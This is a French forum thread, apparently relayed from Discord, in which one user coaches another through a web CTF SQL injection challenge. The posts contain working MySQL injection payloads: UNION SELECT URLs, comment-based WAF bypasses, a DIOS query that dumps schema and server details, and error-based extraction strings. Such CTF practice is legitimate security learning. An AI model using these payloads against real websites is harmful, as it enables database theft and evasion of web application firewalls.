CTF SQLI

Créateur

Sujet
novembre 5, 2023 à 5:47 pm #32970

Bot
Participant

je fais un ctf web mais je modifie place les order by puis les tables je n’obtiens rien

——————–
xsrr5c – Envoyé depuis le Discord : Culte du code
Créateur

Sujet

Vous lisez 60 fils de discussion

Auteur

Réponses
- novembre 5, 2023 à 5:49 pm #32971
  
  Bot
  Participant
  
  https://exemple.fr/sqli.php?id=-10 +UNION+ALL+SELECT+ 1,2,3,4– –
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:55 pm #32972
  
  Bot
  Participant
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:55 pm #32973
  
  Bot
  Participant
  
  waa dose
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:55 pm #32974
  
  Bot
  Participant
  
  stop ping
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:56 pm #32975
  
  Bot
  Participant
  
  ajoute un ‘ devant 10 et un plus devant le dernier –
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:56 pm #32976
  
  Bot
  Participant
  
  https://exemple.fr/sqli.php?id=-10‘ +UNION+ALL+SELECT+ 1,2,3,4– -+
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:57 pm #32977
  
  Bot
  Participant
  
  haaaaa
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:57 pm #32978
  
  Bot
  Participant
  
  ca marche oui
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:58 pm #32979
  
  Bot
  Participant
  
  c’est forbiden
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:58 pm #32980
  
  Bot
  Participant
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:58 pm #32981
  
  Bot
  Participant
  
  BON
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:58 pm #32982
  
  Bot
  Participant
  
  je suis dehors la mdr stop avec les pings
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:58 pm #32983
  
  Bot
  Participant
  
  tu vas te faire ban bêtement
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:59 pm #32984
  
  Bot
  Participant
  
  plz
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 5:59 pm #32985
  
  Bot
  Participant
  
  c’est lequel qui est bypass par le WAF
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:00 pm #32986
  
  Bot
  Participant
  
  UNION
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:00 pm #32987
  
  Bot
  Participant
  
  /*!50000UNION*/
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:00 pm #32988
  
  Bot
  Participant
  
  att
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:00 pm #32989
  
  Bot
  Participant
  
  discord enlève les *
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:00 pm #32990
  
  Bot
  Participant
  
  `/*!50000UNION*/`
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:01 pm #32991
  
  Bot
  Participant
  
  ok je test
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:01 pm #32992
  
  Bot
  Participant
  
  toujours pas
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:01 pm #32993
  
  Bot
  Participant
  
  ?
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:02 pm #32994
  
  Bot
  Participant
  
  oui toujours en 403
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:02 pm #32995
  
  Bot
  Participant
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:03 pm #32996
  
  Bot
  Participant
  
  `/*!50000UNION/**-**/*/`
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:04 pm #32997
  
  Bot
  Participant
  
  enfin
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:04 pm #32998
  
  Bot
  Participant
  
  casse tête ce ctf
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:06 pm #32999
  
  Bot
  Participant
  
  t’auras un DIOS ?
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:06 pm #33000
  
  Bot
  Participant
  
  parce que je ne peux pas voir le nom de la db et la version en même temps
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:07 pm #33001
  
  Bot
  Participant
  
  bah tu le fais séparément
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:07 pm #33002
  
  Bot
  Participant
  
  database()
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:07 pm #33003
  
  Bot
  Participant
  
  version()
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:07 pm #33004
  
  Bot
  Participant
  
  ou sinon t’use un DIOS et c’est bon
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:07 pm #33005
  
  Bot
  Participant
  
  cherche
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:08 pm #33006
  
  Bot
  Participant
  
  c’est moi qui fait le chall la
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:08 pm #33007
  
  Bot
  Participant
  
  je trouve pas
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:08 pm #33008
  
  Bot
  Participant
  
  use hackbar
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:08 pm #33009
  
  Bot
  Participant
  
  un raccourci
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:09 pm #33010
  
  Bot
  Participant
  
  j’ai pas les DIOS
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:09 pm #33011
  
  Bot
  Participant
  
  t’as la V quoi ?
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:10 pm #33012
  
  Bot
  Participant
  
  V2
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:10 pm #33013
  
  Bot
  Participant
  
  `concat_ws(‘
  ‘,’zet’,database(),version(),user(),@@hostname,(select(group_concat(‘
  ‘,table_name,’:’,column_name))from(information_schema.columns)where(table_Schema=database())))`
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:11 pm #33014
  
  Bot
  Participant
  
  un dios parmi tant d’autres
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:12 pm #33015
  
  Bot
  Participant
  
  ✅
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:12 pm #33016
  
  Bot
  Participant
  
  merci
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:13 pm #33017
  
  Bot
  Participant
  
  c’est nice
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:13 pm #33018
  
  Bot
  Participant
  
  fuck
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:14 pm #33019
  
  Bot
  Participant
  
  ca me met **the used select statements have a different number of columns github**
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:15 pm #33020
  
  Bot
  Participant
  
  c’est un ctf hard désolé si tu n’y arrives pas
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:21 pm #33021
  
  Bot
  Participant
  
  bah y a rien de difficile c’est de l’advanced SQLI pour la version de la db use `+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1–+-` et pour le nom de la db `+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)– -` tu veilleras à delet le +UNION+ALL+SELECT+ et le nombre de table et de laisser les — -+
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:22 pm #33022
  
  Bot
  Participant
  
  Duplicate entry ‘ctf-sqli’ for key
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:23 pm #33023
  
  Bot
  Participant
  
  yes
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:23 pm #33024
  
  Bot
  Participant
  
  et puis etc
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:23 pm #33025
  
  Bot
  Participant
  
  pour les tables columns
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:23 pm #33026
  
  Bot
  Participant
  
  oui je sais faire
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:23 pm #33027
  
  Bot
  Participant
  
  merci !
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:24 pm #33028
  
  Bot
  Participant
  
  j’ai plus appris avec toi qu’avec je ne sais combien de chall mdmdmdr
  
  ——————–
  xsrr5c – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:28 pm #33029
  
  Bot
  Participant
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 5, 2023 à 6:28 pm #33030
  
  Bot
  Participant
  
  ——————–
  0xL5x9 – Envoyé depuis le Discord : Culte du code
- novembre 18, 2023 à 4:56 pm #33241
  
  Bot
  Participant
  
  mais
  
  ——————–
  abraham09942 – Envoyé depuis le Discord : Culte du code
Auteur

Réponses